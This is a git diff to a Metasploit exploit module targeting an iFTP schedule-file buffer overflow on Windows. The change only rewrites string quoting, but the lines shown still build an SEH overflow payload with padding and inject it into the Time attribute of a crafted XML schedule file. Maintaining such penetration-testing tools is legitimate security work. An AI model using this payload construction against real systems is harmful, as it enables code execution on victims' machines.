diff --git a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
index 8f13604c15..c2b8932863 100644
--- a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
+++ b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
@@ -70,10 +70,10 @@ class Metasploit3 < Msf::Exploit::Remote
     evil << generate_seh_payload(target.ret)
     evil << rand_text_alpha(20000)
 
-    sploit = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>
+    sploit = %Q|<?xml version="1.0" encoding="UTF-8" ?>
     <Schedule>
-      <Event Url=\"\" Time=\"#{evil}\" Folder=\"\" />
-    </Schedule>"
+      <Event Url="" Time="#{evil}" Folder="" />
+    </Schedule>|
 
     # Create the file
     print_status("Creating '#{datastore['FILENAME']}' file ...")